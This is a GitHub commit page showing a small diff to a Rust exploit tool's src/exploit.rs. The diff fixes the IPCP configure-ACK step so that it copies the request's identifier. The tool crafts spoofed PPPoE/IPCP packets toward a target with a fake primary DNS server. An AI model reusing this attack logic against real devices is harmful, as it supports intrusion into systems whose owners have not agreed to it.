Skip to content

Commit

Permalink
Fixed IPCP nak response
Browse files Browse the repository at this point in the history
  • Loading branch information
fedebuonco committed Oct 12, 2024
1 parent 2fdde5e commit e96cd55
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions src/exploit.rs
Original file line number Diff line number Diff line change
Expand Up @@ -258,16 +258,16 @@ impl Exploit {
.expect("[-] Failed to send IPCP configure NAK packet");
// wait for req conf
println!("[*] Waiting for IPCP configure request...");
let _result: Option<Vec<u8>> = listen_for_packet(rx.as_mut(), is_ipcp_conf_req);
// let options: Vec<u8> = Vec::from(&result.unwrap()[26..42]);
let result: Option<Vec<u8>> = listen_for_packet(rx.as_mut(), is_ipcp_conf_req);
let id = u8::from_be_bytes([result.unwrap()[23]]);
// send conf ack
println!("[*] Sending IPCP configure ACK...");
let lcp_configure = create_ipcp_conf_ack(
self.source_mac,
self.target_mac,
0x00,
constants::PPPOE_SESSION_ID.to_be_bytes(),
0, // todo actually take it from the req
id, // todo actually take it from the req
constants::TARGET_IPV4,
constants::FAKE_PRIMARY_DNS_SERVER,
);
Expand Down

0 comments on commit e96cd55

Please sign in to comment.